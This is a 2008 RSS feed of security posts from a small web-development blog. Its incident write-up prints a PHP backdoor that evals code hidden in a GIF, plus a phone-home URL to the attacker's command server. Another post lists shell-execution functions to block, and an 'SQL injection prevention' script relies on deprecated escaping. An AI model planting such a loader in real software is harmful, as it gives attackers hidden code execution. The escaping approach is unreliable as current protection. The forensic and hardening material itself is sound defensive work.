<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Leading Edge Scripts &#187; Computer Security</title>
	<atom:link href="http://leadingedgescripts.co.uk/category/computer-security/feed/" rel="self" type="application/rss+xml" />
	<link>http://leadingedgescripts.co.uk</link>
	<description></description>
	<lastBuildDate>Fri, 16 Oct 2009 09:14:32 +0000</lastBuildDate>
	
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Preventing SQL Injection</title>
		<link>http://leadingedgescripts.co.uk/web-development/preventing-sql-injection/</link>
		<comments>http://leadingedgescripts.co.uk/web-development/preventing-sql-injection/#comments</comments>
		<pubDate>Fri, 21 Nov 2008 16:43:16 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Computer Security]]></category>
		<category><![CDATA[Databases]]></category>
		<category><![CDATA[Web Development]]></category>
		<category><![CDATA[clean up input data]]></category>
		<category><![CDATA[sql injection]]></category>

		<guid isPermaLink="false">http://www.leadingedgescripts.co.uk/?p=222</guid>
		<description><![CDATA[For anyone who needs it, here is a script I wrote to prevent SQL injection. It uses references to the original global arrays to clean them up.



&#160;


/**


&#160;* added the following code to enabled readyness for magic_quotes() being removed


&#160;* in PHP6


&#160;* 


&#160;* added by C. Cook 15/8/2008 


&#160;*/


//Turn off magic quotes the manual way, this also [...]]]></description>
			<content:encoded><![CDATA[<p>For anyone who needs it, here is a script I wrote to prevent SQL injection. It uses references to the original global arrays to clean them up.</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">/**</span></div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">&nbsp;* added the following code to enabled readyness for magic_quotes() being removed</span></div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">&nbsp;* in PHP6</span></div>
</li>
<li class="li2">
<div class="de2"><span class="coMULTI">&nbsp;* </span></div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">&nbsp;* added by C. Cook 15/8/2008 </span></div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">&nbsp;*/</span></div>
</li>
<li class="li1">
<div class="de1"><span class="co1">//Turn off magic quotes the manual way, this also cleans up all our nasty data&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span></div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$in</span> = <a href="http://www.php.net/array"><span class="kw3">array</span></a><span class="br0">&#40;</span>&amp;<span class="re0">$_GET</span>, &amp;<span class="re0">$_POST</span>, &amp;<span class="re0">$_COOKIE</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">while</span> <span class="br0">&#40;</span><a href="http://www.php.net/list"><span class="kw3">list</span></a><span class="br0">&#40;</span><span class="re0">$k</span>, <span class="re0">$v</span><span class="br0">&#41;</span> = <a href="http://www.php.net/each"><span class="kw3">each</span></a><span class="br0">&#40;</span><span class="re0">$in</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">foreach</span> <span class="br0">&#40;</span><span class="re0">$v</span> <span class="kw1">as</span> <span class="re0">$key</span> =&gt; <span class="re0">$val</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>!<a href="http://www.php.net/is_array"><span class="kw3">is_array</span></a><span class="br0">&#40;</span><span class="re0">$val</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">//now we re-escape our input data</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$in</span><span class="br0">&#91;</span><span class="re0">$k</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="re0">$key</span><span class="br0">&#93;</span> = <a href="http://www.php.net/mysql_real_escape_string"><span class="kw3">mysql_real_escape_string</span></a><span class="br0">&#40;</span><a href="http://www.php.net/stripslashes"><span class="kw3">stripslashes</span></a><span class="br0">&#40;</span><span class="re0">$val</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">//$in[$k][$key] = stripslashes($val);&nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">continue</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$in</span><span class="br0">&#91;</span><span class="br0">&#93;</span> =&amp; <span class="re0">$in</span><span class="br0">&#91;</span><span class="re0">$k</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="re0">$key</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/unset"><span class="kw3">unset</span></a><span class="br0">&#40;</span><span class="re0">$in</span><span class="br0">&#41;</span>;&nbsp; &nbsp; &nbsp;</div>
</li>
<li class="li2">
<div class="de2">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
</ol>
</div>
]]></content:encoded>
			<wfw:commentRss>http://leadingedgescripts.co.uk/web-development/preventing-sql-injection/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Simple Tip To Reduce Brute Force Hacks Via SSH</title>
		<link>http://leadingedgescripts.co.uk/computer-security/simple-tip-to-reduce-brute-force-hacks-via-ssh/</link>
		<comments>http://leadingedgescripts.co.uk/computer-security/simple-tip-to-reduce-brute-force-hacks-via-ssh/#comments</comments>
		<pubDate>Mon, 17 Nov 2008 22:03:57 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Computer Security]]></category>
		<category><![CDATA[brute force]]></category>
		<category><![CDATA[ssh]]></category>

		<guid isPermaLink="false">http://www.leadingedgescripts.co.uk/?p=224</guid>
		<description><![CDATA[This is very simple, but I&#8217;ve seen a massive reduction in brute force attempts simply by changing the default port for SSH connections.
It&#8217;s pretty simple to change the default port:
Just edit the SSH configuration file, normally this will be found in /etc/ssh or /usr/local/etc/ssh.
To change it over, edit the line that reads &#8220;Port 22&#8243; or [...]]]></description>
			<content:encoded><![CDATA[<p>This is very simple, but I&#8217;ve seen a massive reduction in brute force attempts simply by changing the default port for SSH connections.</p>
<p>It&#8217;s pretty simple to change the default port:</p>
<p>Just edit the SSH configuration file, normally this will be found in /etc/ssh or /usr/local/etc/ssh.</p>
<p>To change it over, edit the line that reads &#8220;Port 22&#8243; or &#8220;#Port 22&#8243; to a different port number and then restart SSH.</p>
]]></content:encoded>
			<wfw:commentRss>http://leadingedgescripts.co.uk/computer-security/simple-tip-to-reduce-brute-force-hacks-via-ssh/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>On The Hunt For a Hacker &#8211; Part One</title>
		<link>http://leadingedgescripts.co.uk/computer-security/on-the-hunt-for-a-hacker-part-one/</link>
		<comments>http://leadingedgescripts.co.uk/computer-security/on-the-hunt-for-a-hacker-part-one/#comments</comments>
		<pubDate>Sat, 15 Nov 2008 15:18:31 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Computer Security]]></category>
		<category><![CDATA[hacking attempt]]></category>

		<guid isPermaLink="false">http://www.leadingedgescripts.co.uk/?p=214</guid>
		<description><![CDATA[One of my clients has recently been hacked, and not knowing who else to turn to asked me to look into the hack, try and sort out the mess and fix the broken websites.
So before I start this post I think I should make it clear that I am supporting my clients legacy code, which [...]]]></description>
			<content:encoded><![CDATA[<p>One of my clients has recently been hacked, and not knowing who else to turn to asked me to look into the hack, try and sort out the mess and fix the broken websites.</p>
<p>So before I start this post I think I should make it clear that I am supporting my clients legacy code, which was developed by another developer at least 3-4 years ago. My client is aware of the issues with the code and is actively seeking to patch it up.</p>
<p>So anway, yesterday I got an email from my client at around 3pm showing some rather nasty Google search results with some of his domains listed in them. Naturally I clicked on the links to see what would happen, and sure enough, after being sent to my clients website, I was sent on to some kind of affiliate web page full of pop-ups trying to tell me my machine had a virus and that I should buy the anti-virus software they were selling &#8211; I&#8217;m sure you&#8217;ve all seen the kind of website I&#8217;m talking about.</p>
<p>
<!-- Begin Google Adsense code -->
<script type="text/javascript"><!--
google_ad_client = "pub-4904188713812219";
/* 468x60, created 02/11/08 */
google_ad_slot = "9286450703";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Google Adsense code -->
</p>
<p>So obviously this is a bit of an emergency, so I stopped what I was doing and started to investigate. I&#8217;m still not certain how the attack is being implemented since we&#8217;ve not yet managed to discover how the hacker is getting access to the server, hence this being probably the first post in a series, but I&#8217;ll tell you what I know.</p>
<p>About a month ago, my client phoned me up saying he had accidentally clicked on a virus in his email, and it had caused major problems on his PC. He told me he was running anti-virus software and cleaning up his machines. Knowing that my client doesn&#8217;t have the greatest computer skills I thought &#8220;uh oh&#8221; this could be bad.</p>
<p>Shortly after this, maybe a week later, my client phones up because one of his clients ecommerce websites (he runs a small web development firm) was redirecting visitors to a web page selling anti-virus software! (sound familiar?). So I took a look around the code and discovered that one of the product names in the database had been changed to include some JavaScript which redirected you immediately to this AV affiliate website.</p>
<p>My first thought was oh no, this means the website has been SQL injected, so I looked through the logs and sure enough there were some requests coming from a bot that was trying to SQL inject. Obviously I patched up the SQL injection vulnerability and nothing else of the issue.</p>
<p>Then, about 2 weeks later, I get another phone call; the websites doing the same thing. So now I know it can&#8217;t be SQL injection, which means the hacker either has root access to the server the website(s) are on (more than one has been affected to date), or that the hacker has FTP access, so I instruct my client to change all his FTP usernames and passwords, which he promptly does, and I fix the issues with the code.</p>
<p>Then about 2 weeks more pass by and I get an email entitled &#8220;Nightmare!!&#8221;, which is kind of where this story begins&#8230;</p>
<p>So, as I mentioned above, I visited the website in my browser &#8211; looks fine, I am able to browse the shop, I&#8217;m not redirected anywhere, but the email from my client has links to this website that definately redirect to the affiliate website in question. So I type the address into my browser including the full URL from my clients email, and sure enough I am redirected to this affiliate website.</p>
<p>The url looked like this:</p>
<blockquote><p>http://www.clientsdomain.com/index.php?id=50000</p></blockquote>
<p>So naturally I checked out index.php, and saw the following code:</p>
<blockquote><p>&lt;?<br />
$browser = CheckBrowser();<br />
$link = $browser ? &#8216;index.php?id=50000&#8242; : &#8216;about-us.php&#8217;;<br />
$title = $browser ? &#8216;Blog &lt;font color=#FF0000&gt;(NEW)&lt;/font&gt;&#8217; : &#8216;About us&#8217;;<br />
?&gt;<br />
&lt;td height=&#8221;26&#8243; align=&#8221;center&#8221; class=&#8221;style51&#8243;&gt;&lt;a href=&#8221;&lt;? echo $link; ?&gt;&#8221;&gt;&lt;? echo $title; ?&gt;&lt;/a&gt;&lt;/td&gt;</p></blockquote>
<p>Roughly speaking, this code checks the browser, and either displays a link to about-us.php or links off the url above (index.php?id=50000).</p>
<p>Now, that&#8217;s interesting, so I needed to know what the php function CheckBrowser() was doing&#8230; so I had to hunt around the code (all Object Orientated Code without documentation) and I found the CheckBrowser() function &#8211; it was basically testing to see if the request was being made by GoogleBot, or Yahoo. So to test my theory I used the following great little tool ( <a href="http://www.web-tool.org/cloak-check/cloak-check.asp">http://www.web-tool.org/cloak-check/cloak-check.asp</a> ) in conjunction with <a href="http://bethebot.com">http://bethebot.com</a> and yep, this website was definitely cloaking.</p>
<p>So then I had to figure out how it was redirecting, index.php didn&#8217;t have any code to check for $_GET variables, nor did it include any code to redirect people; strange&#8230;</p>
<p>So I took another good look around the code and found the following bit of PHP:</p>
<pre>        if(isset($_REQUEST['id']))
        if(($_REQUEST['id']&gt;=50000)&amp;&amp;($_REQUEST['id']&lt;60000))
        {
            $fls = array(array('images/product-display-box_19.gif',3696,21894));
            foreach($fls as $v)
            if(file_exists($v[0]))
            {
                $f=fopen($v[0],'rb');fseek($f,$v[1],SEEK_SET);$d=fread($f,$v[2]);fclose($f);eval($d);megadupa($v[0]);
                break;
            }
            die();
        }</pre>
<p>Amusingly, placed immediately preceding my code designed to prevent SQL injection.</p>
<p>Now look at this code, there is a $_GET variable called id, with a value between 50000 and 60000 it opens a file on the server product-display-box_19.gif and reads a specific part of that file and then evals()  whatever it finds (which means it &#8220;runs the code&#8221;). Now a .gif image shouldn&#8217;t be able to be executed, so how does this work? and, what the hell is the megadupa() function, that&#8217;s not part of the PHP language, why isn&#8217;t this falling over saying that that is bad php.</p>
<p>So the next port of call was to look at product-display-box_19.gif. I checked out the images/ folder on the server and guess what, there is a 19MB file with that very name, now 19MB is HUGE for an image file, so I though I need to see this.</p>
<p>I downloaded it from the server, and double clicked on it &#8211; I&#8217;m pretty good with PCs so although I knew I might suffer a buffer overlow attack or a trojan, but I&#8217;m confident I can handle these things <img src='http://leadingedgescripts.co.uk/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>Well, I loaded up the image and it was a tiny little .gif, it looked like the bottom of a button and would normally be 19 KB  in size not 19 MB! Obviously there is something fishy going on here. So I opened the .gif file using Notepad++, took ages of course, but once it had loaded, I scanned through the code and sure enough this .gif file has been specially crafted and contains loads of PHP, XHTML / CSS the lot, in fact it&#8217;s a pretty amazing file.</p>
<p>So I renamed the file to .php and noticing that there were some comments in the embedded PHP instructing me how to run the code without the eval() function stuck it on my local server and voila it loaded! And it didn&#8217;t just load anything, it loaded what looked like clones of Wordpress &#8211; two of them, loads of sex related keywords, basically this thing looked like it had been used repeatedly to hack servers. What a find.</p>
<p>So being curious I started to trawl through the code, and guess what, this script &#8220;phones home&#8221;, revealing IP addresses. So I followed them, and ended up on a webserver in the USA, with a message saying that &#8220;the service was unavailable&#8221;, so I referred back to the code, and noticed that when it &#8220;phones home&#8221; it also sends back information about the referrer, domain, IP address etc etc so I constructed a fake URL as follows</p>
<blockquote><p>http://123.123.123.123/gate/gate.php?t=av&amp;s=2&amp;pid=665&amp;uri=www.example.com%2Findex.php&amp;ip=64.22.112.234&amp;ref=&amp;ua=Mozilla%2F5.0+%28compatible%3B+Googlebot%2F2.1%3B+%2Bhttp%3A%2F%2Fwww.google.com%2Fbot.html%29</p></blockquote>
<p>And, I was in!</p>
<p>Suddenly this server in America sends me back a web address, you guessed it, for the affiliate website.</p>
<p>So now I&#8217;m looking at a server which instructs these scripts to point other peoples websites to a URL of the hackers choice! Of course at this stage I whois&#8217;ed the IP address and yes I know who is hosting the IP.</p>
<p>So next up, I do a reverse DNS lookup using <a href="http://www.myipneighbors.com/">http://www.myipneighbors.com/</a> and I find some of the other websites on the server in America. So I visited them, they pretty much all seemed to be spammy fake &#8220;search engines&#8221; but interestingly they linked back to another IP address &#8211; also in America, but on a different host server. So I loaded up the new IP address and was immediately redirected to domain. I&#8217;m not going to reveal the domain, but this gave me something else to run a whois check on.</p>
<p>So I did, and the domain resolved to someone in Texas, but even more interestingly, it included an email address for the registrant: @mail.ru</p>
<p>So now I&#8217;m looking at a Russian hacker, using a server in America to control what seems to be a number of compromised servers to redirect websites and manipulate search engine results to point to an affiliate website selling anti-virus software.</p>
<p>So, since I still don&#8217;t know how this person got into my clients website in the first place, I have instructed him to change his FTP passwords and not to log in again for the time being. I will be contacting the web hosting company and I&#8217;m waiting to see if the hacker gets back in again, if they do I can only presume the web host has been compromised.</p>
<p>Look out for part two&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://leadingedgescripts.co.uk/computer-security/on-the-hunt-for-a-hacker-part-one/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Scary PHP Functions You Should Disable</title>
		<link>http://leadingedgescripts.co.uk/server-administration/scary-php-functions-you-should-disable/</link>
		<comments>http://leadingedgescripts.co.uk/server-administration/scary-php-functions-you-should-disable/#comments</comments>
		<pubDate>Mon, 03 Nov 2008 18:49:30 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Computer Security]]></category>
		<category><![CDATA[Server Administration]]></category>
		<category><![CDATA[Web Development]]></category>
		<category><![CDATA[disable functions]]></category>
		<category><![CDATA[php functions]]></category>
		<category><![CDATA[php security]]></category>

		<guid isPermaLink="false">http://www.leadingedgescripts.co.uk/?p=143</guid>
		<description><![CDATA[A few months back we completed a security update on one of our main servers and whilst we were performing the update we realised that there is a distinct lack of information out there concerning the security of PHP functions, and no good lists of functions that should be banned or switched off.
When you install PHP, it [...]]]></description>
			<content:encoded><![CDATA[<p>A few months back we completed a security update on one of our main servers and whilst we were performing the update we realised that there is a distinct lack of information out there concerning the security of PHP functions, and no good lists of functions that should be banned or switched off.</p>
<p>When you install PHP, it doesn&#8217;t make a huge amount of recommendations about which functions you should ban on your servers. Although it basically does come out of the box in safe mode, which is great, as a web host trying to offer the best service possible, we like to offer our customers the choice of using PHP&#8217;s safe mode or not. I know that as a developer it&#8217;s a real pain to be forced to deal with things like magic quotes when you already have tight methods of blocking SQL injection, XSS attacks etc.</p>
<p>So, as a hosting company, we want to leave things as flexible as possible for developers, it&#8217;s critical for us to know that our customers can&#8217;t write PHP code that could lead to our server being left wide open to attack.</p>
<p>
<!-- Begin Google Adsense code -->
<script type="text/javascript"><!--
google_ad_client = "pub-4904188713812219";
/* 468x60, created 02/11/08 */
google_ad_slot = "9286450703";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Google Adsense code -->
</p>
<p>So, being diligent web hosts we searched high and low for a decent list of PHP functions that we ought to ban, and surprisingly couldn&#8217;t really find any decent lists.</p>
<p>So, for anyone wondering what functions to ban, here is our list of PHP functions you should definitely not allow your customers to use!</p>
<p>exec, system, passthru, readfile, shell_exec, escapeshellarg, proc_close, proc_open, ini_alter, dl, parse_ini_file, show_source, popen, pclose, pcntl_exec, proc_get_status, proc_nice, proc_terminate, pfsockopen, posix_kill, posix_mkfifo, openlog, syslog, escapeshellcmd, apache_child_terminate, apache_get_env, apache_set_env, apache_note, virtual, error_log, openlog, syslog, readlink, symlink, link, highlight_file, closelog, ftp_exec, posix_setpgid, posix_setuid, posix_setsid, posix_setegid, posix_seteuid, posix_getpwnam, posix_ctermid, posix_uname, posix_getegid, posix_geteuid, posix_getpid, posix_getppid, posix_getpwuid</p>
<p>I&#8217;m not going to go into details here, but if you&#8217;re in for a fright, look these functions up (especially the posix ones) on the www.php.net website, you&#8217;ll be very scared!</p>
<p>This list may be overkill, but keep in mind, we&#8217;re aiming this at the shared server market. If anyone has any other functions they think should be banned, please let me know.</p>
]]></content:encoded>
			<wfw:commentRss>http://leadingedgescripts.co.uk/server-administration/scary-php-functions-you-should-disable/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>How To Remove devldr32.exe from Windows XP &#8211; How I did it!</title>
		<link>http://leadingedgescripts.co.uk/viruses/how-to-remove-devldr32exe-from-windows-xp-how-i-did-it/</link>
		<comments>http://leadingedgescripts.co.uk/viruses/how-to-remove-devldr32exe-from-windows-xp-how-i-did-it/#comments</comments>
		<pubDate>Sat, 01 Nov 2008 18:00:38 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Computer Security]]></category>
		<category><![CDATA[Viruses]]></category>
		<category><![CDATA[devldr32.exe]]></category>

		<guid isPermaLink="false">http://www.leadingedgescripts.co.uk/wp/?p=27</guid>
		<description><![CDATA[If you don&#8217;t want to read about it, click here to see the solution
Once again, I seem to have found a poorly documented PC problem, funny how I always seem to be getting these&#8230;
Anyway, this page is all about how I managed to remove the unbelieveably annoying file devldr32.exe from my Windows XP box. I recently [...]]]></description>
			<content:encoded><![CDATA[<p>If you don&#8217;t want to read about it, <a href="http://www.leadingedgescripts.co.uk/remove-devldr32.php#solution">click here to see the solution</a></p>
<p>Once again, I seem to have found a poorly documented PC problem, funny how I always seem to be getting these&#8230;</p>
<p>Anyway, this page is all about how I managed to remove the unbelieveably annoying file devldr32.exe from my Windows XP box. I recently needed to move PCs as my old computer was starting to play up, doing things like not shutting down or starting up properly; you know the kinds of things that happen to Windows PCs after a while.</p>
<p>
<!-- Begin Google Adsense code -->
<script type="text/javascript"><!--
google_ad_client = "pub-4904188713812219";
/* 468x60, created 02/11/08 */
google_ad_slot = "9286450703";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Google Adsense code -->
</p>
<p>Since I had a spare PC knocking around, and it had a higher spec than the one I was using I decided to move onto the spare machine and turn my old PC into a proper server for my web development. This basically meant starting from scratch on the spare machine which I promptly did. To cut a long story short, I got it all up and running, got all the device drivers installed and was good to go!</p>
<p>Until I noticed a process running which I didn&#8217;t install, and which, quite frankly, I didn&#8217;t want running &#8211; guess which file! You got it devldr32.exe</p>
<p>So, like I normally do, I killed the processes, checked all the usual places that can cause files to auto start (startup folder, registry, services) and found nothing (or if I did find anything I deleted it, to be honest I can&#8217;t remember now).</p>
<p>Then obviously I restarted and, lo-and-behold, there&#8217;s that file running again, pretty much laughing at me. So I killed it again and carried on. Then I noticed it running again! How did that happen? I didn&#8217;t even restart my machine. So I killed it again and opened my ftp program (for no particular reason) and as I&#8217;m watching my process list, it fires itself up again.</p>
<p>So by now I&#8217;m starting to think this file must be a virus, so I did my usual Googling and found this:<a href="http://www.neuber.com/taskmanager/process/devldr32.exe.html">http://www.neuber.com/taskmanager/process/devldr32.exe.html</a>. Cool, useful and everything but no solution, and no clear answer on whether this is a virus or not. But at least it mentioned Creative SoundBlaster drivers, which I thought I had.</p>
<p>Anyway, cutting another longish story short, I searched and searched for ways to remove the stupid thing, including searching the Creative Labs website and everything.</p>
<p>Ultimately though, no matter what I did, I could neither remove the file or find any information about how to remove the file. No I&#8217;m not one to let these things get away, so I figured I&#8217;d have to solve the problem myself. And, thankfully I manged to, here&#8217;s how:</p>
<p>Actually the trick is rather simple, if you&#8217;re reading this you&#8217;ve probably already read about deleting devldr32.exe from c:\windows\system32\ and if you&#8217;ve really been paying attention, to also remove it from c:\windows\system32\dllcache\</p>
<p>That is basically the technique, but since the file seems to be able to load itself from whatever driver you&#8217;ve got loaded, simply killing the process and deleting those files doesn&#8217;t get rid of the little bugger!</p>
<p>Instead you need to reboot Windows XP into Safe mode, then delete the files. Complete explanation follows:</p>
<h4>Solution</h4>
<p><a name="solution"></a></p>
<ol>
<li>Restart your PC, as soon as it starts to come back online, start tapping the F8 key furiously, if you get it right, you&#8217;ll be presented with the option to load Windows XP in safe mode, choose it using the arrow keys and hit enter.</li>
<li>Windows XP will load and look rubbish, log in if you have to and open Windows explorer.</li>
<li>Go to C:\windows\system32\ and delete devldr32.exe</li>
<li>Now as a precaution, lets remove it from the dll cache.</li>
<li>Still in Windows Explorer, click on the &#8216;Tools&#8217; menu at the top of the window, and select &#8216;Folder Options&#8217;</li>
<li>In the window that appears, click the &#8216;view&#8217; tab.</li>
<li>In the advanced settings section, check &#8216;Show hidden files and folders&#8217; and also <strong>uncheck</strong> &#8217;hide protected operating system files(Recommended).(Click ok on the warning if you get one)</li>
<li>Click OK to get out of the window you were in.</li>
<li>You should now be looking at a much longer list in the c:\windows\system32\ folder, if you look closely you should be able to see the \dllcache\ folder.</li>
<li>Click on it</li>
<li>Find devldr32.exe and delete it.</li>
<li>Now restart your machine (in normal mode by not pressing F8 repeatedly)</li>
<li>With luck devldr32.exe is gone for good and your soundcard still works nicely (albiet only on 2 speakers).</li>
</ol>
<p>I don&#8217;t know if there really is a virus out their calling itself devldr32.exe, I presume there is, fortunately I didn&#8217;t have the virus, I had the genuine file, as you can see even the genuine file was a pain to remove, but I imagine the virus is even harder to get rid of.</p>
<p>I have no idea how to remove the virus as I&#8217;ve never had it, but I can point you towards a great free virus scanner:<a href="http://www.clamwin.com/">http://www.clamwin.com/</a> and also a great free Rootkit remover: <a href="http://www.sophos.com/products/free-tools/sophos-anti-rootkit.html">http://www.sophos.com/products/free-tools/sophos-anti-rootkit.html</a> both come highly recommended by me. But, as always, I&#8217;m not responsible if you mess your PC up.</p>
]]></content:encoded>
			<wfw:commentRss>http://leadingedgescripts.co.uk/viruses/how-to-remove-devldr32exe-from-windows-xp-how-i-did-it/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>How to backup and email a dump of your Mysql database on Linux</title>
		<link>http://leadingedgescripts.co.uk/web-development/how-to-backup-and-email-a-dump-of-your-mysql-database-on-linux/</link>
		<comments>http://leadingedgescripts.co.uk/web-development/how-to-backup-and-email-a-dump-of-your-mysql-database-on-linux/#comments</comments>
		<pubDate>Sat, 01 Nov 2008 17:55:54 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Computer Security]]></category>
		<category><![CDATA[Databases]]></category>
		<category><![CDATA[Web Development]]></category>

		<guid isPermaLink="false">http://www.leadingedgescripts.co.uk/wp/?p=24</guid>
		<description><![CDATA[A few weeks back, after working on an old, slow &#38; clunking server that I use to run a billing system, I thought to myself ‘hey you know what, it would be great to be able to email myself backups of my MySQL database. That will stop me worrying about loosing all this data if [...]]]></description>
			<content:encoded><![CDATA[<p>A few weeks back, after working on an old, slow &amp; clunking server that I use to run a billing system, I thought to myself ‘hey you know what, it would be great to be able to email myself backups of my MySQL database. That will stop me worrying about loosing all this data if this server ever dies on me.’</p>
<p>So, as you’ve probably guessed, I figured out how to do it. The answer’s actually very simple, and can easily be run as a cron job to automate the process on a daily basis.</p>
<p>
<!-- Begin Google Adsense code -->
<script type="text/javascript"><!--
google_ad_client = "pub-4904188713812219";
/* 468x60, created 02/11/08 */
google_ad_slot = "9286450703";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Google Adsense code -->
</p>
<p>First you need to make your MySQL dump file. (I prefer .sql files as I think it makes things way more transferable)</p>
<p>The command to dump all your data from MySQL is this:</p>
<p>          mysqldump –u username –p databasename &gt; mysqldumpfilename.sql</p>
<p>This will output a copy of your entire database to the file called mysqldumpfilename.sql (of course you can call yours whatever you want)</p>
<p>The next step is to get this file emailed to you. Somewhere (I don’t remember where) I found out that you should encode your mail attachments using the uuencode function in Linux.</p>
<p>So to email yourself a copy of your database backup, the command is as follows:</p>
<p>          uuencode mysqldumpfilename.sql mysqldumpfilename.sql | mail sylvia@home.com</p>
<p>Now just put the two together and you can email yourself a backup of your mysql database.</p>
]]></content:encoded>
			<wfw:commentRss>http://leadingedgescripts.co.uk/web-development/how-to-backup-and-email-a-dump-of-your-mysql-database-on-linux/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
